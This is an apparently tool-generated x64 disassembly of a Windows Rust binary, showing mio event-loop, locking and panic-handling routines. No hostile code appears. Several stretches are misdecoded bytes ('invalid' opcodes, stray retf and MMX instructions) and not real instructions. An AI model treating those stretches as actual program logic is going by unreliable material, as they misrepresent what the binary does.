mov rsi, rcx
mov rcx, r14
mov rbx, rdx
call qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WakeByAddressSingle]
mov rdx, rbx
mov rcx, rsi
test bpl, bpl
jne 0x1400401e8
mov rax, qword [0x14019f300]
shl rax, 1
test rax, rax
jne 0x1400402d3
xor eax, eax
xchg byte [rcx], al
cmp al, 2
je 0x140040112
jmp 0x14004011e
lea rax, [r14 + rax*8]
lea r15, [rax + rsi*8]
jmp 0x14004027d
add r15, 8
dec r13
je 0x1400400d5
mov rax, qword [r15]
lock dec qword [rax]
jne 0x140040270
mov rcx, r15
call fcn.1400fe7c0
jmp 0x140040270
call fcn.14012bf20
test al, al
jne 0x140040103
mov byte [r12 + 0x31], 1
jmp 0x140040103
mov r15, rdx
mov rsi, rcx
call fcn.14012bf20
test al, al
jne 0x1400402bb
mov byte [rbx + 0x11], 1
mov rcx, rsi
mov rdx, r15
xor eax, eax
xchg byte [r14], al
cmp al, 2
je 0x1400401bb
jmp 0x1400401d0
mov rsi, rcx
mov rbx, rdx
call fcn.14012bf20
mov rdx, rbx
mov rcx, rsi
test al, al
jne 0x1400401e8
mov byte [rdi + 0x31], 1
jmp 0x1400401e8
mov qword [rsp + 0x50], r14
mov byte [rsp + 0x58], bpl
lea rax, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001fmio_0.8.11_src_syswindows_selector.rs
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x140157598]
lea r8, [rsp + 0x50]
mov edx, 0x2b
call fcn.140122900
mov qword [rsp + 0x50], rcx
mov byte [rsp + 0x58], al
lea rax, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001fmio_0.8.11_src_syswindows_selector.rs
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x140157880]
lea r8, [rsp + 0x50]
mov edx, 0x2b
call fcn.140122900
ud2
lea rcx, str.Out_of_bounds_access
lea r8, [0x14015a450]
mov edx, 0x14
call fcn.140122a20
lea rcx, str.Out_of_bounds_access
lea r8, [0x14015a438]
mov edx, 0x14
call fcn.140122a20
lea rcx, str.assertion_failed:_i___self.len___b
lea r8, [0x14015a488]
mov edx, 0x20
call fcn.140122660
lea rcx, str.assertion_failed:_j___self.len___b
lea r8, [0x14015a4c0]
mov edx, 0x20
call fcn.140122660
int3
movq mm1, mm3
por mm3, mm1
jb 0x140045841
adc al, 0x66
pslld mm0, 0xc
xchg ebx, eax
pshufw mm5, mm5, 0x4e
retf 0xfffb
movq qword [rdx + 0x20], mm2
invalid
jg 0x1400459e3
mov al, 0
add byte [rax], al
movq qword [rdx + 0xf0], mm0
movaps xmm4, xmmword [rsp + 0x100]
add dword [rax], eax
add byte [rdi + rcx + 0x29], al
pushfq
and al, 0
add dword [rax], eax
add byte [rdi + rcx + 0x29], al
xchg esp, eax
and al, 0xf0
add byte [rax], al
add byte [rdi + rcx + 0x29], al
mov word [rax + riz*8], fs
add byte [rax], al
add byte [rdi + rcx + 0x29], al
test byte [rax + rdx*8], ah
add byte [rax], al
add byte [rdi], cl
sub dword [rsp + 0xc0], edi
movd mm6, r8d
por mm0, mm3
por mm2, mm1
outsd dx, dword [rsi]
ret 0x4166
and al, 0x30
paddd mm6, mm6
add byte [rsi + 0xf], ah
cmp byte [rax], al
ret 0xf66
outsd dx, dword [rsi]
invalid
rcr byte [rcx], 1
por mm4, mm0
jmp 0x140045e30
jb 0x140045e56
invalid
ret 0xf3b1
invalid
paddd mm0, mm3
mov rax, qword [rsp + 0xc70]
movzx eax, byte [rax]
mov r14, rdx
cmp al, 1
jne 0x1400466c7
nop dword [rax + rax]
mov esi, dword [rdi + 0x404]
movzx ebx, byte [rdi + 0x401]
mov rcx, qword [rsp + 0x140]
mov rdx, rbp
call fcn.1400c10f0
mov rcx, rax
or rcx, rdx
jne 0x140046699
mov rcx, qword [rdi + 0x188]
mov rax, qword [rdi + 0x190]
mov rdx, rbp
call qword [rax + 0x30]
test rax, rax
jne 0x140054979
test rdx, rdx
jne 0x140054989
mov byte [rdi + 0x400], 2
mov byte [rdi + 0x401], bl
mov dword [rdi + 0x404], esi
mov al, 2
mov rdx, r14
cmp al, 1
je 0x140046660
movzx eax, al
cmp eax, 2
je 0x14005487f
mov rbx, qword [rdi + 0x408]
lea rsi, [rbx + 0x10]
xor eax, eax
mov cl, 1
lock cmpxchg byte [rbx + 0x10], cl
jne 0x140051abc
mov qword [rsp + 0x88], rbp
mov rax, qword [0x14019f300]
shl rax, 1
test rax, rax
jne 0x140051acc
xor eax, eax
movzx ecx, byte [rbx + 0x11]
test cl, cl
jne 0x1400552ca
cmp dword [rbx + 0xf0], 1
jne 0x14004688d
mov dword [rsp + 0x70], eax
mov qword [rsp + 0x118], rsi
mov qword [rsp + 0x60], r13
mov qword [rsp + 0x50], r12
lea rsi, [rbx + 0x18]
lea r15, [rbx + 0x1c8]
lea r12, [rbx + 0xf0]
call fcn.1400f8930
mov qword [rsp + 0x570], rax
mov dword [rsp + 0x578], edx
mov r13, qword [rbx + 0xb0]
mov eax, dword [rbx + 0xb8]
mov dword [rsp + 0x40], eax
cmp dword [r12], 1
jne 0x140046868
nop dword [rax + rax]
mov edx, dword [rbx + 0xf4]
mov eax, dword [rbx + 0xf8]
mov dword [rsp + 0xa70], edx
mov dword [rsp + 0xa74], eax
cmp qword [rbx + 0x1d8], rdx
jbe 0x140054d3a
mov rcx, qword [rbx + 0x1d0]
imul rdx, rdx, 0x130
cmp dword [rcx + rdx], 2
je 0x140054d3a
add rcx, rdx
cmp dword [rcx + 0x114], eax
jne 0x140054d3a
mov r8d, dword [rcx + 0x48]
cmp r8d, 0x3b9aca00
je 0x140054ee9
mov rdx, qword [rcx + 0x40]
lea rcx, [rsp + 0x570]
call case.0x1400ba3d7.487
cmp edx, 0x3b9aca00
jne 0x1400467fa
xor eax, eax
xor r8d, r8d
mov ecx, 0xff
cmp rax, r13
setne al
jb 0x140046810
mov r8b, al
mov ecx, r8d
test cl, cl
jne 0x140046829
xor eax, eax
cmp edx, 0x3b9aca00
je 0x140046820
mov eax, edx
cmp eax, dword [rsp + 0x40]
setne cl
jb 0x140046868
cmp cl, 1
jne 0x140046868
lea rbp, [rsp + 0x1160]
mov rcx, rbp
mov rdx, r12
mov r8, r15
call fcn.140014590
cmp qword [rsp + 0x1160], 0
je 0x140046874
mov rcx, rsi
mov rdx, rbp
mov r8b, 1
call fcn.140022d30
cmp dword [r12], 1
je 0x140046780
mov qword [rsp + 0x1160], 0
mov r12, qword [rsp + 0x50]
mov rdx, r14
mov r13, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x118]
mov eax, dword [rsp + 0x70]
test al, al
jne 0x1400468a4
mov rax, qword [0x14019f300]
shl rax, 1
test rax, rax
jne 0x140051c1d
xor eax, eax
xchg byte [rsi], al
cmp al, 2
mov rbp, qword [rsp + 0x88]
jne 0x1400468c0
mov rcx, rsi
call qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WakeByAddressSingle]
mov rdx, r14
mov rbx, qword [rsp + 0x78]
jmp 0x1400468da
cmp rax, 1
jne 0x140051a88
mov rax, qword [rsp + 0x6e8]
mov rsi, qword [rax]
mov rcx, qword [rsp + 0xd90]
movdqu xmm0, xmmword [rcx]
movups xmm1, xmmword [rcx + 0x10]
movaps xmmword [rsp + 0x580], xmm1
movdqa xmmword [rsp + 0x570], xmm0
mov qword [rax], 0
test rsi, rsi
mov qword [rsp + 0x118], rdx
je 0x1400469b0
mov qword [rsp + 0x3d0], rsi
movdqu xmm0, xmmword [rcx]
movups xmm1, xmmword [rcx + 0x10]
lea rax, [rsp + 0x3f0]
movups xmmword [rax - 8], xmm1
movdqu xmmword [rax - 0x18], xmm0
cmp dword [rdi + 0x100], 4
jne 0x140046963
mov rax, qword [rdi + 0x158]
sub rax, qword [rdi + 0x150]
cmp rax, qword [rdi + 0x178]
jae 0x140046a22
mov rcx, qword [rsp + 0x140]
mov rdx, rbp
call fcn.1400c10f0
mov rcx, rax
or rcx, rdx
jne 0x140046a10
cmp dword [rdi + 0x100], 4
jne 0x140051860
mov rax, qword [rdi + 0x158]
sub rax, qword [rdi + 0x150]
cmp rax, qword [rdi + 0x178]
jae 0x140046a22
jmp 0x140051860
cmp byte [rdi + 0x3dc], 0
je 0x140046aa9
movzx eax, byte [rdi + 0x3d0]
test al, al
mov rsi, qword [rsp + 0x168]
je 0x1400469dd
mov ecx, dword [rdi + 0x3d8]
mov dword [rsp + 0xa60], ecx
test al, 1
je 0x140046aa9
nop word cs:[rax + rax]
mov rax, qword [rsp + 0x6e8]
cmp qword [rax], 0
jne 0x140046aa9
jmp 0x140046a9c
test rax, rax
jne 0x140051860
test rdx, rdx
jne 0x140051b3f
mov eax, dword [rsp + 0x3f4]
mov dword [rsp + 0xa60], eax
mov qword [rsp + 0x1e8], rsi
movdqa xmm0, xmmword [rsp + 0x570]
movaps xmm1, xmmword [rsp + 0x580]
lea rax, [rsp + 0x1f0]
movups xmmword [rax + 0x10], xmm1
movdqu xmmword [rax], xmm0
mov byte [rsp + 0x1e0], 6
mov rcx, qword [rsp + 0x140]
lea rdx, [rsp + 0x1e0]
call fcn.1400bfa40
cmp al, 0xc
jne 0x140054f01
mov rdx, qword [rsp + 0x118]
mov rsi, qword [rsp + 0x168]
mov rax, qword [rsp + 0x6e8]
cmp qword [rax], 0
jne 0x140046aa9
cmp byte [rdi + 0x3dc], 1
je 0x140051ae7
mov rdx, qword [rdi + 0x380]
cmp rdx, 2
je 0x140046ae6
mov rcx, qword [rdi + 0x388]
mov rax, qword [rdi + 0x390]
test dl, 1
je 0x140046adb
mov rdx, qword [rax + 0x10]
dec rdx
and rdx, 0xfffffffffffffff0
add rcx, rdx
add rcx, 0x10
mov rdx, qword [rsp + 0xd88]
call qword [rax + 0x60]
mov qword [rsp + 0xa70], 2
mov qword [rsp + 0xa90], 0
mov rsi, qword [rdi + 0x3e9]
test byte [rdi + 0x3e8], 1
mov byte [rdi + 0x3e8], 0
mov qword [rsp + 0x60], r13
je 0x140046bdb
cmp dword [rdi + 0x100], 4
jne 0x140046b3e
mov rax, qword [rdi + 0x158]
sub rax, qword [rdi + 0x150]
cmp rax, qword [rdi + 0x178]
jae 0x140046bac
mov rcx, qword [rsp + 0x140]
mov rdx, rbp
call fcn.1400c10f0
mov rcx, rax
or rcx, rdx
jne 0x140046b78
cmp dword [rdi + 0x100], 4
jne 0x140046b7d
mov rax, qword [rdi + 0x158]
sub rax, qword [rdi + 0x150]
cmp rax, qword [rdi + 0x178]
jb 0x140046b7d
jmp 0x140046bac
test rax, rax
je 0x140046ba3
mov byte [rdi + 0x3e8], 1
mov byte [rsp + 0xe50], 4
mov rdx, qword [rsp + 0xa70]
cmp rdx, 2
jne 0x140047a0a
jmp 0x140047ab0
test rdx, rdx
jne 0x140046e15
mov qword [rsp + 0x1e2], rsi
mov word [rsp + 0x1e0], 0x105
mov rcx, qword [rsp + 0x140]
lea rdx, [rsp + 0x1e0]
call fcn.1400bfa40
cmp al, 0xc
jne 0x14005525f
movzx eax, byte [rdi + 0x3f1]
cmp al, 2
jne 0x140046cd0
mov rax, qword [rsp + 0xa38]
mov rax, qword [rax]
test rax, rax
je 0x140046ea0
mov rax, qword [rax + 0x10]
cmp rax, 1
jne 0x140046d7e
cmp dword [rdi + 0x100], 4
jne 0x140046c2c
mov rax, qword [rdi + 0x158]
sub rax, qword [rdi + 0x150]
cmp rax, qword [rdi + 0x178]
jae 0x140046c70
mov rcx, qword [rsp + 0x140]
mov rdx, rbp
call fcn.1400c10f0
mov rcx, rax
or rcx, rdx
jne 0x140046de8
cmp dword [rdi + 0x100], 4
jne 0x140046ded
mov rax, qword [rdi + 0x158]
sub rax, qword [rdi + 0x150]
cmp rax, qword [rdi + 0x178]
jb 0x140046ded
movabs rax, 0xb416870b7adb7c3b
mov qword [rsp + 0x1e2], rax
mov word [rsp + 0x1e0], 5
mov rcx, qword [rsp + 0x140]
lea rdx, [rsp + 0x1e0]
call fcn.1400bfa40
cmp al, 0xc
jne 0x14005577b
mov rax, qword [rsp + 0xa38]
mov rax, qword [rax]
mov qword [rax + 0x10], 2
jmp 0x140046ea0
test al, 1
jne 0x140046ea0
cmp dword [rdi + 0x100], 4
jne 0x140046cf8
mov rax, qword [rdi + 0x158]
sub rax, qword [rdi + 0x150]
cmp rax, qword [rdi + 0x178]
jae 0x140046d3c
mov rcx, qword [rsp + 0x140]
mov rdx, rbp
call fcn.1400c10f0
mov rcx, rax
or rcx, rdx
jne 0x140046de8
cmp dword [rdi + 0x100], 4
jne 0x140046ded
mov rax, qword [rdi + 0x158]
sub rax, qword [rdi + 0x150]
cmp rax, qword [rdi + 0x178]
jb 0x140046ded
mov rax, qword [rdi + 0x3f2]
mov qword [rsp + 0x1e2], rax
mov word [rsp + 0x1e0], 5
mov rcx, qword [rsp + 0x140]
lea rdx, [rsp + 0x1e0]
call fcn.1400bfa40
cmp al, 0xc
jne 0x1400554cf
mov byte [rdi + 0x3f1], 1
jmp 0x140046ea0
mov rax, qword [rsp + 0xa38]
mov r14, qword [rax]
mov rcx, qword [rbp]
xor eax, eax
mov edx, 1
lock cmpxchg qword [r14 + 0x28], rdx
cmp rax, 2
je 0x140046e39
test rax, rax
jne 0x140046ea0
mov rdx, qword [r14 + 0x18]
mov rax, qword [rcx]
test rdx, rdx
je 0x140046e45
mov rcx, qword [rcx + 8]
mov r8, qword [r14 + 0x20]
xor r8, rcx
xor rdx, rax
or rdx, r8
jne 0x140046e49
mov eax, 1
xor ecx, ecx
lock cmpxchg qword [r14 + 0x28], rcx
jne 0x140046e7e
jmp 0x140046ea0
test rax, rax
je 0x140046e0c
mov byte [rsp + 0xe50], 4
mov rdx, qword [rsp + 0xa70]
cmp rdx, 2
jne 0x140047a0a
jmp 0x140047ab0
test rdx, rdx
je 0x140046ea0
lea rcx, [rsp + 0xe50]
call fcn.140016200
mov rdx, qword [rsp + 0xa70]
cmp rdx, 2
jne 0x140047a0a
jmp 0x140047ab0
mov rax, qword [rcx]
mov rcx, qword [rcx + 8]
call qword [rax + 0x10]
jmp 0x140046ea0
mov rcx, qword [rcx + 8]
mov r15, rbx
call qword [rax]
mov rsi, rax
mov rbx, rdx
mov rax, qword [r14 + 0x18]
test rax, rax
je 0x140046e64
mov rcx, qword [r14 + 0x20]
call qword [rax + 0x18]
mov qword [r14 + 0x18], rsi
mov qword [r14 + 0x20], rbx
mov rbx, r15
mov eax, 1
xor ecx, ecx
lock cmpxchg qword [r14 + 0x28], rcx
je 0x140046ea0
mov rax, qword [r14 + 0x18]
mov rcx, qword [r14 + 0x20]
mov qword [r14 + 0x18], 0
test rax, rax
je 0x140055a4d
xor edx, edx
xchg qword [r14 + 0x28], rdx
call qword [rax + 8]
cmp dword [rdi + 0x480], 2
jne 0x140046f40
mov dword [rdi + 0x480], 2
cmp dword [rdi + 0x440], 0
jne 0x140047868
mov qword [rsp + 0x78], rbx
cmp dword [rdi + 0x100], 4
jne 0x140046eed
mov rax, qword [rdi + 0x158]
sub rax, qword [rdi + 0x150]
cmp rax, qword [rdi + 0x178]
jae 0x14004724c
mov rcx, qword [rsp + 0x140]
mov rdx, rbp
call fcn.1400c10f0
mov rcx, rax
mov bl, 4
or rcx, rdx
jne 0x14004721b
cmp dword [rdi + 0x100], 4
jne 0x140047840
mov rax, qword [rdi + 0x158]
sub rax, qword [rdi + 0x150]
cmp rax, qword [rdi + 0x178]
jb 0x140047840
jmp 0x14004724c
mov qword [rsp + 0x78], rbx
cmp dword [rdi + 0x100], 4
jne 0x140046f65
mov rax, qword [rdi + 0x158]
sub rax, qword [rdi + 0x150]
cmp rax, qword [rdi + 0x178]
jae 0x140046fba
mov rcx, qword [rsp + 0x140]
mov rdx, rbp
call fcn.1400c10f0
mov rcx, rax
mov bl, 4
or rcx, rdx
jne 0x140046fa8
cmp dword [rdi + 0x100], 4
jne 0x140047840
mov rax, qword [rdi + 0x158]
sub rax, qword [rdi + 0x150]
cmp rax, qword [rdi + 0x178]
jae 0x140046fba
jmp 0x140047840
test rax, rax
jne 0x140047840
test rdx, rdx
jne 0x140047229
mov dword [rsp + 0x1e4], 0
mov dword [rsp + 0x1ec], 0
mov dword [rsp + 0x1f4], 0
mov dword [rsp + 0x1fc], 0
mov dword [rsp + 0x204], 0
mov dword [rsp + 0x20c], 0
mov dword [rsp + 0x214], 0
mov byte [rsp + 0x21c], 1
mov byte [rsp + 0x1e0], 4
mov rcx, qword [rsp + 0x140]
lea rdx, [rsp + 0x1e0]
call fcn.1400bfa40
cmp al, 0xc
jne 0x1400553cb
mov r13, qword [rdi + 0x408]
lea rsi, [r13 + 0x10]
xor eax, eax
mov cl, 1
lock cmpxchg byte [r13 + 0x10], cl
jne 0x14004d7b9
mov rax, qword [0x14019f300]
shl rax, 1
test rax, rax
jne 0x14004d7d4
xor ebx, ebx
movzx eax, byte [r13 + 0x11]
test al, al
jne 0x1400553b0
mov r15, qword [rdi + 0x410]
lea r14, [r15 + 0x10]
xor eax, eax
mov cl, 1
lock cmpxchg byte [r15 + 0x10], cl
jne 0x14004d7f0
mov rax, qword [0x14019f300]
shl rax, 1
test rax, rax
jne 0x14004d80b
xor eax, eax
movzx ecx, byte [r15 + 0x11]
test cl, cl
jne 0x140055395
cmp dword [rdi + 0x490], 1
jne 0x1400470c1
mov ecx, dword [rdi + 0x494]
mov qword [r13 + 0x28], rcx
mov dword [rsp + 0x1a0], eax
mov qword [rsp + 0x188], r15
mov qword [rsp + 0x98], r14
mov dword [rsp + 0x130], ebx
mov qword [rsp + 0x110], rsi
mov qword [rsp + 0x50], r12
cmp dword [rdi + 0x4b0], 1
jne 0x140047104
cmp dword [rdi + 0x4b4], 0
setne byte [r13 + 0x189]
cmp dword [rdi + 0x498], 1
jne 0x1400476e7
lea rax, [r13 + 0x18]
mov qword [rsp + 0x70], rax
lea rax, [r13 + 0x1c8]
mov qword [rsp + 0x40], rax
mov ecx, dword [rdi + 0x49c]
mov eax, dword [r13 + 0x184]
mov dword [r13 + 0x184], ecx
xor edx, edx
mov ebx, ecx
sub ebx, eax
setne dl
mov r8d, 0xff
cmovb edx, r8d
cmp dl, 0xff
je 0x1400472cc
movzx eax, dl
cmp eax, 1
jne 0x1400476e7
mov rsi, qword [r13 + 0x220]
test rsi, rsi
je 0x1400476e7
mov rax, qword [rsp + 0x188]
lea r12, [rax + 0x18]
lea r15, [r13 + 0x118]
lea rbp, [r13 + 0x1b8]
xor r14d, r14d
nop
cmp qword [r13 + 0x200], r14
jbe 0x140054edd
mov rax, qword [r13 + 0x1f8]
mov rcx, r14
shl rcx, 4
mov rdx, qword [rsp + 0x40]
mov qword [rsp + 0x1e0], rdx
movq xmm0, qword [rax + rcx + 8]
pshufd xmm0, xmm0, 0xe1
movq qword [rsp + 0x1e8], xmm0
mov qword [rsp + 0x28], rbp
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0x20], rax
mov rcx, r15
mov edx, ebx
mov r8, r12
lea r9, [rsp + 0x1e0]
call fcn.1400c2d50
test eax, eax
jne 0x14004da31
mov rax, qword [r13 + 0x220]
cmp rax, rsi
sbb r14, 0xffffffffffffffff
cmp rax, rsi
sbb rsi, 0
cmp r14, rsi
jb 0x140047190
jmp 0x1400476e7
test rax, rax
jne 0x140047840
test rdx, rdx
je 0x14004724c
lea rcx, [rsp + 0x570]
call fcn.140016200
movzx ebx, byte [rsp + 0x570]
cmp bl, 3
jne 0x14004780e
jmp 0x140047863
movzx eax, byte [rdi + 0x47c]
movdqu xmm0, xmmword [rdi + 0x444]
movups xmm1, xmmword [rdi + 0x454]
movups xmm2, xmmword [rdi + 0x464]
mov rcx, qword [rdi + 0x474]
movdqu xmmword [rsp + 0x1e4], xmm0
movups xmmword [rsp + 0x1f4], xmm1
movups xmmword [rsp + 0x204], xmm2
mov qword [rsp + 0x214], rcx
mov byte [rsp + 0x21c], al
mov byte [rsp + 0x1e0], 4
mov rcx, qword [rsp + 0x140]
lea rdx, [rsp + 0x1e0]
call fcn.1400bfa40
cmp al, 0xc
jne 0x14005564e
mov dword [rdi + 0x440], 1
jmp 0x140047863
mov rdx, qword [r13 + 0x220]
test rdx, rdx
mov r12, qword [rsp + 0x50]
mov r15, qword [rsp + 0x98]
je 0x1400473c7
sub eax, ecx
xor ecx, ecx
xor r8d, r8d
lea rsi, [rsp + 0xf78]
jmp 0x14004731e
mov r9, qword [r13 + 0x220]
cmp r9, rdx
sbb r8, 0xffffffffffffffff
cmp r9, rdx
sbb rdx, 0
cmp r8, rdx
jae 0x1400473d1
cmp qword [r13 + 0x200], r8
jbe 0x140054edd
mov r9, qword [r13 + 0x1f8]
mov r11, r8
shl r11, 4
mov r10d, dword [r9 + r11 + 8]
mov r11d, dword [r9 + r11 + 0xc]
mov dword [rsp + 0xd98], r11d
mov dword [rsp + 0xd9c], r10d
cmp qword [r13 + 0x1d8], r11
jbe 0x140054f34
mov r9, qword [r13 + 0x1d0]
imul r11, r11, 0x130
cmp dword [r9 + r11], 2
je 0x140054f34
add r9, r11
cmp dword [r9 + 0x114], r10d
jne 0x140054f34
mov r10d, dword [r9 + 0x80]
sub r10d, eax
jo 0x14004da5e
mov dword [r9 + 0x80], r10d
test r10d, r10d
jg 0x1400473a8
xor r10d, r10d
mov r11d, dword [r9 + 0x84]
sub r11d, r10d
jle 0x140047300
mov dword [r9 + 0x84], r10d
add ecx, r11d
jmp 0x140047300
xor ecx, ecx
lea rsi, [rsp + 0xf78]
mov qword [rsp + 0x3d0], 2
mov qword [rsp + 0x3f0], 0
mov eax, dword [r13 + 0x124]
add ecx, eax
jo 0x1400473fd
mov dword [r13 + 0x124], ecx
mov eax, ecx
test eax, eax
jle 0x1400476e7
lea r12, [r13 + 0x120]
jmp 0x14004744b
cmp qword [rcx + 0x88], 0
je 0x14004743d
cmp dword [rcx + 0x48], 0x3b9aca00
setne bl
mov rcx, r12
mov rdx, rsi
call fcn.140021480
mov rcx, qword [rsp + 0x70]
mov rdx, rsi
mov r8d, ebx
call fcn.140022d30
cmp dword [r13 + 0x124], 0
jle 0x140047637
cmp dword [r13 + 0x144], 1
jne 0x140047637
mov ecx, dword [r13 + 0x148]
mov eax, dword [r13 + 0x14c]
cmp ecx, dword [r13 + 0x150]
jne 0x1400474db
cmp eax, dword [r13 + 0x154]
jne 0x1400474db
mov dword [rsp + 0x860], ecx
mov dword [rsp + 0x864], eax
mov rdx, qword [r13 + 0x1d8]
cmp rdx, rcx
jbe 0x140054ffa
mov r8, qword [r13 + 0x1d0]
imul r9, rcx, 0x130
cmp dword [r8 + r9], 2
je 0x140054ffa
add r8, r9
cmp dword [r8 + 0x114], eax
jne 0x140054ffa
test byte [r8 + 0xc4], 1
jne 0x1400550ac
mov dword [r13 + 0x144], 0
jmp 0x140047558
mov dword [rsp + 0x860], ecx
mov dword [rsp + 0x864], eax
cmp qword [r13 + 0x1d8], rcx
jbe 0x140054faa
mov rdx, qword [r13 + 0x1d0]
imul r8, rcx, 0x130
cmp dword [rdx + r8], 2
je 0x140054faa
add rdx, r8
cmp dword [rdx + 0x114], eax
jne 0x140054faa
movq xmm0, qword [rdx + 0xc8]
test byte [rdx + 0xc4], 1
mov dword [rdx + 0xc4], 0
je 0x1400550a0
mov dword [r13 + 0x144], 1
movq qword [r13 + 0x148], xmm0
mov rdx, qword [r13 + 0x1d8]
mov dword [rsp + 0x860], ecx
mov dword [rsp + 0x864], eax
cmp rdx, rcx
jbe 0x140054faa
mov r8, qword [r13 + 0x1d0]
imul rdx, rcx, 0x130
cmp dword [r8 + rdx], 2
je 0x140054faa
add r8, rdx
cmp dword [r8 + 0x114], eax
jne 0x140054faa
mov byte [r8 + 0x122], 0
mov r8, qword [rsp + 0x40]
mov qword [rsp + 0xf78], r8
mov dword [rsp + 0xf80], ecx
mov dword [rsp + 0xf84], eax
mov dword [rsp + 0x860], ecx
mov dword [rsp + 0x864], eax
cmp qword [r13 + 0x1d8], rcx
jbe 0x140054ffa
mov rcx, qword [r13 + 0x1d0]
cmp dword [rcx + rdx], 2
je 0x140054ffa
add rcx, rdx
cmp dword [rcx + 0x114], eax
jne 0x140054ffa
movzx eax, byte [rcx + 0x50]
add al, 0xfa
movzx eax, al
cmp al, 6
mov edx, 6
cmovae eax, edx
cmp al, 3
je 0x140047628
movzx eax, al
cmp eax, 5
jne 0x14004740e
cmp byte [rcx + 0x51], 1
jne 0x14004740e
jmp 0x140047418
cmp byte [rcx + 0x51], 0
jne 0x140047418
jmp 0x14004740e
mov rdx, qword [rsp + 0x3d0]
cmp rdx, 2
je 0x1400476e7
mov rcx, qword [rsp + 0x3d8]
mov rax, qword [rsp + 0x3e0]
test dl, 1
je 0x140047670
mov rdx, qword [rax + 0x10]
dec rdx
and rdx, 0xfffffffffffffff0
add rcx, rdx
add rcx, 0x10
lea rdx, [rsp + 0x3e8]
call qword [rax + 0x68]
mov rsi, qword [rsp + 0x3d0]
cmp rsi, 2
je 0x1400476e7
mov rcx, qword [rsp + 0x3d8]
mov rax, qword [rsp + 0x3e0]
test sil, 1
je 0x1400476b1
mov rdx, qword [rax + 0x10]
dec rdx
and rdx, 0xfffffffffffffff0
add rcx, rdx
add rcx, 0x10
mov rdx, qword [rsp + 0x3e8]
call qword [rax + 0x80]
test rsi, rsi
je 0x1400476e7
mov rax, qword [rsp + 0x3d8]
lock dec qword [rax]
jne 0x1400476e7
mov rcx, qword [rsp + 0x3d8]
mov rdx, qword [rsp + 0x3e0]
mov edx, dword [rsp + 0x3e0]
mov edx, dword [rsp + 0x3e0]
call case.0x14009a20c.177
mov bl, 3
mov bpl, 1
test byte [rdi + 0x488], 1
mov r12, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x110]
mov rcx, qword [rsp + 0x98]
cwde
add byte [rax], al
invalid
je 0x140047719
cwde
add byte [rax], al
add byte [rdi + rcx - 0x7d], dh
mov edi, 0x48c
add byte [rcx + 0xf], al
xchg ebp, eax
test dword [rax - 0x74ffffff], ecx
test byte [rax + riz*4], ah
add dword [rax], eax
add byte [rax + rax*8 - 0x74b7ec8b], al
add eax, 0x157bd5
cmp dword [rdi + 0x48c], 0
setne byte [r13 + 0x188]
mov eax, dword [rsp + 0x1a0]
test al, al
jne 0x140047737
mov rax, qword [0x14019f300]
shl rax, 1
test rax, rax
jne 0x14004e28f
xor eax, eax
xchg byte [rcx], al
cmp al, 2
jne 0x140047745
call qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WakeByAddressSingle]
cmp byte [rsp + 0x130], 0
jne 0x140047762
mov rax, qword [0x14019f300]
shl rax, 1
test rax, rax
jne 0x14004e2b3
xor eax, eax
xchg byte [rsi], al
cmp al, 2
jne 0x140047773
mov rcx, rsi
call qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WakeByAddressSingle]
test bpl, bpl
mov r13, qword [rsp + 0x60]
je 0x1400477bb
test byte [rdi + 0x480], 1
mov rbx, qword [rsp + 0x78]
je 0x14004dbae
mov eax, dword [rdi + 0x484]
add byte [rax], al
mov rcx, qword [rdi + 0x48]
test rcx, rcx
je 0x14004d483
cmp ecx, 1
mov rdx, qword [rsp + 0xc50]
jne 0x14004d4af
cmp qword [rdx], rax
jmp 0x14004d49e
mov byte [rsp + 0x571], 1
mov eax, dword [rsp + 0xa58]
mov dword [rsp + 0x574], eax
add eax, 0x8b010000
test byte [rax + rbx*2], ah
or al, byte [rax]
add byte [rcx + 0x5742484], cl
add byte [rax], al
lea rax, [0x1401598d0]
mov qword [rsp + 0x578], rax
mov qword [rsp + 0x580], 1
movdqa xmm0, xmmword [rsp + 0x960]
or dword [rax], eax
add byte [rax - 0x73], cl
test byte [rax + rcx*4], ah
add eax, 0xff30000
jg 0x140047801
or dword [rax], eax
add byte [rax - 0x73], cl
test byte [rax + rcx*4], ah
add eax, 0xff30000
jg 0x140047801
mov rbp, qword [rsp + 0x88]
cmp bl, 3
je 0x140047863
movzx eax, bl
cmp eax, 4
je 0x140047840
lea rcx, [rsp + 0x571]
mov rax, qword [rcx + 0x1f]
lea rdx, [rsp + 0xe51]
mov qword [rdx + 0x1f], rax
movdqu xmm0, xmmword [rcx]
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rdx + 0x10], xmm1
movdqu xmmword [rdx], xmm0
nop
add byte [rax - 0x75], cl
invalid
mov byte [rsp + 0xe50], bl
mov rbx, qword [rsp + 0x78]
mov rdx, qword [rsp + 0xa70]
cmp rdx, 2
jne 0x140047a0a
push rax
invalid
jmp 0x140047ab0
mov rbx, qword [rsp + 0x78]
mov r15, qword [rdi + 0x408]
lea rsi, [r15 + 0x10]
adc byte [rcx], dh
sal byte [rcx + 0xf41f001], 0xb0
adc byte [r15], r9b
invalid
xchg byte [rdi], dl
invalid
adc byte [rcx], dh
sal byte [rcx + 0xf41f001], 0xb0
adc byte [r15], r9b
test dword [rsi + 0x48000057], eax
mov eax, dword [0x14019f300]
mov rax, qword [0x14019f300]
shl rax, 1
test rax, rax
jne 0x14004d024
xor ebp, ebp
movzx eax, byte [r15 + 0x11]
test al, al
jne 0x140055210
cmp dword [r15 + 0xa8], 1
jne 0x140047984
mov r13, rbx
mov ecx, dword [r15 + 0xac]
cmp dword [rdi + 0x100], 4
jne 0x1400478dd
mov rax, qword [rdi + 0x158]
sub rax, qword [rdi + 0x150]
cmp rax, qword [rdi + 0x178]
jae 0x14004792c
mov dword [rsp + 0x50], ecx
mov rcx, qword [rsp + 0x140]
mov rdx, qword [rsp + 0x88]
call fcn.1400c10f0
mov r14, rax
or rax, rdx
jne 0x14004793b
mov r14d, 1
cmp dword [rdi + 0x100], 4
